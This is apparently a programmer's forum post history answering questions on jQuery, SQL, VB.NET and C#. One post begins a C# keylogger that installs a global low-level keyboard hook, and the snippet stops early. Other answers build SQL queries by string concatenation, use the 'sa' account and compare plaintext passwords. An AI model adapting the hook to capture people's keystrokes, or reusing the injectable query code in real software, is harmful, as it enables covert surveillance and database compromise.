AleMonteiro 238 Can I pick my title?

if you are using jQuery:

var checkboxList = [];

// Loops each fieldset
$("fieldset.step").each(function() {

    var stepIndex = $(this).index();

    // Loops each checkbox that is checked inside of the fieldset
    $(this).find("input:checked").each(function() {

        // Adds the id to the list
        checkboxList.push({
            step: stepIndex,
            checkboxId: $(this).attr("id")
        });

    });

});
AleMonteiro 238 Can I pick my title?

Whats the value in ds.Tables[0].Rows[0][0] ?

In debugging, use the Exception.StackTrace and Exception.InnerException.StackTrace to see exactly where the errors occurs and it's full stack trace.
Obs.: InnerException is recursive.

AleMonteiro 238 Can I pick my title?

First you need to split the string by the blank space and get the first part.
Then you create an Select Case or an If...Else If.

Dim original = "Aug 2014"
Dim str = Split(original, " ")(1)
Dim month = 0

if str = "Aug" Then
    month = 8
else if str = "Jul" Then
    month = 7
else if
.
.
.
AleMonteiro 238 Can I pick my title?

In wich line does this error occurrs?

AleMonteiro 238 Can I pick my title?

Is ds.Tables null? Is the connection and query ok?

AleMonteiro 238 Can I pick my title?

Much clear now, here you go...

My original attempt

var A = [0,16,12,0,14,18,15],
    B = [0,17,13,0,15,19,16],
    C = [11,12,13,14,0,0,0],
    D = ['D','E','E','D','A','A','A'];

var X = function(vectors) {
            var arr = [];

                for ( var r=0,rl=vectors[0].length;r<rl;r++ ) {
                    arr.push([]);
                    for( var i=0,il=vectors.length;i<il;i++ ) {
                        arr[r][i] = vectors[i][r];
                    }
                }
                arr.sort(function(a, b) {
                    var r=0;
                    for(var i=0,il=a.length;i<il;i++){
                        r = a[i] - b[i];
                        if ( r != 0 ) 
                            break;
                    }
                    return r;
                });             
            return arr;
        }([A,B,C,D]);

And the function:

function mergeAndSortVectors(vectors) {
    var arr = [];

    // Merge
    for ( var r=0,rl=vectors[0].length;r<rl;r++ ) {
        arr.push([]);
        for( var i=0,il=vectors.length;i<il;i++ ) {
        arr[r][i] = vectors[i][r];
        }
    }

    // Sort
    arr.sort(function(a, b) {
        var r=0;
            for(var i=0,il=a.length;i<il;i++){
            r = a[i] - b[i];
            if ( r != 0 ) 
                break;
            }
            return r;
        });             
    return arr;
}
AleMonteiro 238 Can I pick my title?

Hi there.
MySQL syntax is some what different from MSSQL syntax. For instance, MySQL Parameters don't start with '@'.

Thake a look at those pages, it will help you out.

http://www.mysqltutorial.org/mysql-stored-procedure-tutorial.aspx

AleMonteiro 238 Can I pick my title?

Your problem is simple... if(document.frmEntry.optMethod != "undefined") this is testing if an object, that may not exist (undefined) is different than an string with value "undefined".

Two ways to resolve it:

if( typeof document.frmEntry.optMethod != "undefined" )

OR

if(document.frmEntry.optMethod != undefined )
AleMonteiro 238 Can I pick my title?

Hi there!

You can't convert an SQLDataReader to an int. You have to use the reader to get your values.

Check those links:
http://msdn.microsoft.com/pt-br/library/haa3afyz(v=vs.110).aspx
http://www.akadia.com/services/dotnet_data_reader.html

Anyway... I think is more practial to use an DataSet, something like this:

class Connection_Handler
    {
        SqlConnection cn;
        void ConnectiontoSQL()
        {
            string str = "server=xxx; database=jobSearch; user=sa; password=xxx";
            cn = new SqlConnection(str);
            cn.Open();            
        }
        public DataSet SelectSQL(string select) {

            SqlCommand command = new SqlCommand( select, this.cn );

            DataSet objDataSet = new DataSet();
            SqlDataAdapter objSqlDataAdapter;

            objSqlDataAdapter = new SqlDataAdapter( command );
            objSqlDataAdapter.Fill( objDataSet );

            command.Dispose();

            objSqlDataAdapter.Dispose();
            objSqlDataAdapter = null;

            return objDataSet;
        }

        public int Execute_SQL(string select)
        {
            ConnectiontoSQL();
            string Query = "select " + select + " from jobSearch where searchID = 1";

            DataSet ds = SelectSQL(Query);

            if ( ds.Tables[0].Rows.Count > 0 ) { // Found something

                // Returns the first cell of the first row
                return Convert.ToInt32(ds.Tables[0].Rows[0][0].ToString());

            }
            // Exit code for no item found
            return -1;
        }
    }

Or, if you are going to retrieve just one value, you could use ExecuteScalar that already returns the first cell of the first row.

int result = Convert.ToInt32(command.ExecuteScalar())
AleMonteiro 238 Can I pick my title?

I honestly didn't understand what you are trying to do...

Let's walk through it...

// You have four initial arrays
var A = [11,16,12,17,14,18,15];
var B = [12,17,13,18,15,19,16];
var C = [11,12,13,14,0,0,0];
var D = [D,E,E,D,A,A,A];

// Then you merge them into one (the merged would be like this)
var temp = [
        [11, 12, 11, D],
        [16, 17, 12, E],
        [12, 13, 13, E],
        [17, 18, 14, D],
        [14, 15, 0, A],
        [18, 19, 0, A],
        [15, 16, 0, A]
    ];

// And then you sort it...
temp.sort(sort);

// What's the result you are expecting? 
var result = ?????

If you can explain the result you are aiming, maybe I can help you do math.

AleMonteiro 238 Can I pick my title?

Revend Jim, sorry about that, I got focused on the problem and forgot about the details.
I've updated the post to make it clear.
But anyway, he can get the logic about it, even if he has to re-write.

Update: I can't delete nor update my previous post. I'm not finding a way to fix it =/

AleMonteiro 238 Can I pick my title?

Ok... so, using AJAX, in your case, the data will be inserted into DOM after the response from the HTTP request(ajax).

The simpliest way to insert data recieved from ajax is if that is already HTML, so you don't have to parse it, just insert.
Another way is to recieve an XML or JSON object and use JavaScript to parse into into HTML or even go trought it and insert separeted DOM nodes

I suggest you start by using jQuery ajax methods, it's easy to learn.

Take a look at this article: http://blog.teamtreehouse.com/beginners-guide-to-ajax-development-with-php
Or some more direct approach: http://brian.staruk.me/php/2013/sample-jquery-php-ajax-script/

There's lots of material about Ajax and PHP out there, some are really good.

AleMonteiro 238 Can I pick my title?

What knowlodge do you have about HTML, JavaScript and PHP? Are you going to use AJAX?

The first thing you'll need to do is load the first select, then when it changes you fill the second select, then, when it changes, you fill the table.

It's hard to guide you without knowing what you already know or what you already have.

I you know nothing, then start by making the HTML with two selects and a table.

AleMonteiro 238 Can I pick my title?

The only way I know how to detect global keys is using user32.dll and kernel32.dll methods.

You won't be needing timer to do this, as it is all about callbacks.

This is an simple key logger app, please use it with care and conscience, don't make anything stupid with it.

using System;
using System.Collections.Generic;
using System.Linq;
using System.Windows.Forms;
using System.Runtime.InteropServices;
using System.IO;
using System.Diagnostics;
using System.Reflection;

namespace Something
{
    static class Program
    {
        [DllImport( "user32.dll", CharSet = CharSet.Auto, SetLastError = true )]
        private static extern IntPtr SetWindowsHookEx ( int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId );

        [DllImport( "user32.dll", CharSet = CharSet.Auto, SetLastError = true )]
        [return: MarshalAs( UnmanagedType.Bool )]
        private static extern bool UnhookWindowsHookEx ( IntPtr hhk );

        [DllImport( "user32.dll", CharSet = CharSet.Auto, SetLastError = true )]
        private static extern IntPtr CallNextHookEx ( IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam );

        [DllImport( "kernel32.dll", CharSet = CharSet.Auto, SetLastError = true )]
        private static extern IntPtr GetModuleHandle ( string lpModuleName );


        private const int SW_HIDE = 0;
        private const int WH_KEYBOARD_LL = 13;
        private const int WM_KEYDOWN = 0x0100;
        private const int WM_KEYUP = 0x0101;

        private static LowLevelKeyboardProc _proc = HookCallback;
        private static IntPtr _hookID = IntPtr.Zero;

        public static bool shiftPressed = false;
        public static bool capsLockPressed = false;

        public static int shift = 0;
        public static int caps = 0;

        public static void Main ()
        {
            var exists = Process.GetProcessesByName( Path.GetFileNameWithoutExtension( Assembly.GetEntryAssembly().Location ) ).Count() > 1;
            ' Return if program is already running
            if ( exists ) return; …
AleMonteiro 238 Can I pick my title?

Did you debug it? Is the line rw.Cells("date_deliver").Value = sdr("date_deliver") being executed?

Beside that, why are you making an loop for until 8 and only executing something when it's 8? It doesn't make a lot of sense to me.

I'd remove all that and increment your initial select to be like this:

SELECT 
    l.invoice_no, l.internal_id, l.customer_id, l.account_name, l.seller_name, l.terms, l.date_invoice, l.segment
    , IsNull(c.date_deliver, '') AS date_deliver
FROM
    om_list AS L
        LEFT JOIN cancel_discount AS C
            ON ( L.invoice_no = C.invoice_no )
AleMonteiro 238 Can I pick my title?

What's the error you get and in wich line?

AleMonteiro 238 Can I pick my title?

Hi there, did you try it without the tabs?
It appears to be a css related problem.
When I get some problem like this I go into the developer panel on the browser, and start to uncheck all css styles that I think could cause the problem.

AleMonteiro 238 Can I pick my title?

What does this bravesites use? Php and MySQL? First thing you need to do is export the site from bravesites, then you know what you have and what needs to be done to upload to godaddy.

AleMonteiro 238 Can I pick my title?

tinstaafl, it's no good, as I said, Office. or Microsoft.Office.Core give the same error.

AleMonteiro 238 Can I pick my title?

You're welcome.
Just mark as solved please.

AleMonteiro 238 Can I pick my title?

jelly46, if you are using jQuery, keep an open tab with the API, it's has a lot of methods that really make our lifes easier.

Here's the code with some explanations:

$("nav") // Select the menu
    .clone() // Clone it
        .appendTo("#footer"); // Append the cloned menu to the footer element

$(".pull") // Select all elements with 'pull' class
    .on('click', function(e) { 
        e.preventDefault();
        $(this) // this is the button being clicked
            .next('ul') // next('ul') will get the next element that is an ul in front of the clicked button
                .slideToggle(); // same as it was
    });

$(window).resize(function(){
    var w = $(window).width();
    if(w > 320) {
        $("nav ul:hidden") // This will get all menus that are hidden
            .removeAttr('style'); // This will happen to any and all elements returned by the above line (if none element is hidden, nothing will happen, no need to use an if before)
    }
});
AleMonteiro 238 Can I pick my title?

Jelly46, is something like this http://jsfiddle.net/7SwhL/ ?

AleMonteiro 238 Can I pick my title?
AleMonteiro 238 Can I pick my title?

Hello Vishal, there's lot's of ways of doing what you want, but the main change I think you have to do is in ValidateUser and ManagerUser. Those two methods should return the Id of the user/manager, then you can already store then.
So, use this select instead:

Select @UserId = IsNull(user_id, -1) from [dbo].[UserDetail2] where username=@username and password=@password and LoginAttempts< 3

Then, if ValidadeUser returns something greater then 0, the user exists, otherwise, it doesn't.

Exemple:

MyMiniSession.CurrentUserId = ValidateUser(user, pass);
MyMiniSession.CurrentManagerId = ValidateManager(user, pass);

if ( MyMiniSession.IsUser ) { ... }
else if ( MyMiniSession.IsManager ) {... }
else { ... }

MyMiniSession class

public class MyMiniSession
{
    public static int CurrentUserId = 0;
    public static int CurrentManagerId = 0;

    public static bool IsUser
    {
        get { return CurrentUserId > 0; }
    }
    public static bool IsManager
    {
        get { return CurrentManagerId > 0; }
    }
    public static bool IsAdmin
    {
        get { return !(IsUser || IsManager); }
    }
}

Hope it helps.

AleMonteiro 238 Can I pick my title?

I can't understand your problem, post some code please.

AleMonteiro 238 Can I pick my title?

Hello,

if you can focus on HTML 5, it's pretty simple: http://www.w3schools.com/html/html5_audio.asp

If you can't, I think the next best solution is an Flash Player. Take a look at
http://www.instantshift.com/2010/02/10/21-free-music-players-for-your-website/
and
http://flash-mp3-player.net

AleMonteiro 238 Can I pick my title?

I don't know if you can't directly in the grid, I think you need to update your list/array and bind it again.
Something like this:

 Protected Sub imgBtnMoveUp_Click(ByVal sender As Object, ByVal e As System.Web.UI.ImageClickEventArgs)

        Dim myList As List<MyClass>  ' This should be the array used to bind the grid
        Dim imgBtn As ImageButton
        Dim oldIndex As Integer = 0
        Dim newIndex As Integer = 0

        imgBtn = CType(sender, ImageButton)
        oldIndex = Convert.ToInt32(imgBtn.CommandArgument)

        Dim item as MyClass = myList(oldIndex)

        If imgBtn.CommandName = "MoveUp" Then
            newIndex = oldIndex - 1 'Must handle if this isn't already the first item
        Else
            newIndex = oldIndex + 1 'Must handle if this isn't already the last item
        End If


        myList.RemoveItem(oldIndex)
        myList.InsertItem(newIndex, item)
        'Some collections have the Move method: 
        'myList.Move(oldIndex, newIndex)

        myGrid.DataSource = myList
        myGrid.DataBind()

    End Sub
AleMonteiro 238 Can I pick my title?

Hi, you're adding the event handler to ".close-pw" before it's been inserted, that's why it doesn't trigger.

Should work with this:

$("#paywall-img").on("click", ".close-pw", function(){
    alert('Close #paywall-img');
    $(this).parent().hide();
});

Or, another way it's to add the handler at the creating of the object:

$('<button class="button close-pw"><span>Cancel</span></button>')
    .click(function() {
        alert("Closing");
        $(this).parent().hide();
    })
    .apeendTo("#paywall-img");

On additional note your are not using the full selector in $('paywall-img'), it's missing the #.

AleMonteiro 238 Can I pick my title?

If I'm not mistaken this will work fine:

INSERT INTO TableOne(Id, Name) VALUES(1, 'Name 01'); INSERT INTO TableTwo(Id, IdFK, Name) Values(1, 1, 'Name 01 01');
safi.najjar1 commented: thanks man, It worked with me but I want to know how to do it with trigger +0
AleMonteiro 238 Can I pick my title?

There's probably a more elegant way, but I use this one:

        /// <summary>
        /// Finds parent master page by name
        /// </summary>
        /// <param name="masterPage">MasterPage to search on</param>
        /// <param name="name">Name to find</param>
        /// <returns>MasterPage</returns>
        public static MasterPage getMasterPage ( System.Web.UI.MasterPage masterPage, string name )
        {
            if ( masterPage == null )
            {
                return null;
            }
            if ( masterPage.GetType().Name.ToLower().IndexOf( name ) > -1 )
            {
                return masterPage;
            }
            else if ( masterPage.Master != null )
            {
                return getMasterPage( masterPage.Master, name );
            }
            else
            {
                return null;
            }
        }

To call it

((YourMasterPageType)getMasterPage(this.Master), "MasterB").PropertySearchButton...

Hope it helps.

AleMonteiro 238 Can I pick my title?

tinstaafl,

I'd do it, but I'm not finding a way.
This is who it's been imported:

Imports Office = Microsoft.Office.Core

And this is how it's been used:

Office.MsoTriState

But the strangiest thing is that, if I type Office. or Microsoft.Office.Core. I don't get any MsoTriState suggestion, but I got others like MsoPickerField.

I tried changing the import name but in none attempt I was able to get the MsoTriState to appear.

Tried creating a new project, adding the same reference(Office 12) and it all works ok, I got the MsoTriState suggestion and it compile ok.

Also tried removing, adding the same reference and others like Office 14, but no change.

I'm avoiding having to re-create every project and copy the files, because it'll be such a pain, it's about 10 projects with lots of reference and specific configurations. That's why I'm trying everything that I can think of to fix this issue in the given solution.

Thanks.

AleMonteiro 238 Can I pick my title?

Try

document.getElementById('draggable').style.left  = y + "px";

But have in mid that if your element is not absolut positioned, top and left will only act like margins.

Also, if you javascript is working, test only the styles and see if it changes, test step by step, like:

<div id="draggable" class="ui-icon-image" style="top: 200px; left: 100px">
AleMonteiro 238 Can I pick my title?

You're welcome!
Just mark as solved to help the forum be organized.

Seeya.

AleMonteiro 238 Can I pick my title?

Wich one is line 15 now?

AleMonteiro 238 Can I pick my title?

If you want the HTML directly from the SP, you can do something like:

SELECT 
   '<tr><td>' + MEMBER + '</td><td>' + [LANGUAGE] + '</td><td>' + [TYPE] + '</td></tr>'...

But it's much more elegant if you use and asp:Template or even a foreach loop to create your html.
Databases are supposed to return data, not html.

AleMonteiro 238 Can I pick my title?

You can do it without internet, but all the devices must be connected to the same network(wireless in the case).

The Student and Driver app can be done in any smartphone (android, ios...).

What about the software being customizable? Aren't you the one that is going to write it?

AleMonteiro 238 Can I pick my title?

Windows 7 has wizard install with step by step instructions.
Have you tried booting from the CD and following the steps?

AleMonteiro 238 Can I pick my title?

Hi, I recieved an VB.NET solution to study and then maintain, but I can't compile it, it's giving a lot of errors about Office integration like 'MsoTriState' is ambiguous in the namespace 'Microsoft.Office.Core'

So I checked the object browser and indeed there's the same object in two diffente namespaces: [Microsoft.Office.Core] and [office].

In the references theres only one Office at 'C:\Program Files (x86)\Microsoft Visual Studio 10.0\Visual Studio Tools for Office\PIA\Office14\Office.dll', and if I remove it, then the compiler says that the reference is missing.

Anyone have seen this before? None of the solutions I found online could help me.

Thanks.

AleMonteiro 238 Can I pick my title?

Use the </> Code button

AleMonteiro 238 Can I pick my title?

Koh, if already have the table ready, post the schema and some data if possible.

AleMonteiro 238 Can I pick my title?

AndrisP, but what about the relation of the values and entities? With only 3 tables you could not know what apples are from china and small.

AleMonteiro 238 Can I pick my title?

jnneson,

welcome to this loving, createfull and bizarre world of programming.

Based on what you said, I'd suggest you chosse what do you want to create first, and start learning that.

Examples... if you want to build your first web page, start with HTML and CSS, then JavaScript. If you got some of that, you can move to the server side, with PHP, Java or .Net, and further some database.

If you want to build an desktop app, for Windows go with .Net, for Linux, really don't know =/

Mobile? I'd go with Android.

Good luck.

AleMonteiro 238 Can I pick my title?

I know virtually nothing about C or C++, and I've been programming ASP, C#, VB.NET, Java, JavaScript quite sucefully for a few years without problem, but, I still think that if I had knowledge about low level C, C++ and even Assembly, I would do a much better job, because of the basic understading about hardware communications and use that I don't have.

I got books and tutorials about it, but you know, laziness is on the way =x

AleMonteiro 238 Can I pick my title?

sandy4a0,

take a look at strings syntax: http://www.quirksmode.org/js/strings.html

AleMonteiro 238 Can I pick my title?

I don't think this belong in Web Development, you should get much faster help in Microsoft Windows or maybe Software Development

AleMonteiro 238 Can I pick my title?

You are missing the closing '}' for codeAdress(), so it doesn't exist.
Didn't you see this in the console?

AleMonteiro 238 Can I pick my title?

I think you should use at least 4 tables:

Fruits (Id, Name)
Countries (Id, Name)
Sizes(Id, Name)
Defailts(DetaildId, FruidId, CountryId, SizeId, Value)

It all depends in how much info you have, how organized you want to be and how much do you care for the quality of the information, of course this is all spoken based on the notion that it would be used for an actual system or application, not just some test or small presentation.

At least, if you are going to use just one table and sink it all in there, it's a simple query:

SELECT *Values* WHERE Fruit = 'Apple' AND Country ='China' AND Size = 'Small'
AleMonteiro 238 Can I pick my title?

Did you try like this?

$(document).ready(function(){
    $("#del_event").live("click", function(){
        var events = $("input[name=event_id]").val();
        alert(events);

        if(confirm("Are you sure ?"))
        {
            $.ajax
            ({
                type = "post",
                url = "EMS/DelEvent.php",
                data = events,
                success: function(){
                    alert("event deleted!");
                }
            });
            return false;
        }
    });
});
AleMonteiro 238 Can I pick my title?

Ok, that's great, but you didn't mark it yet, please do so =)

AleMonteiro 238 Can I pick my title?

I tried to started an year ago but I got too busy with my job and life choices. I don't think I can help much at the time, I'm just coming back to the forum.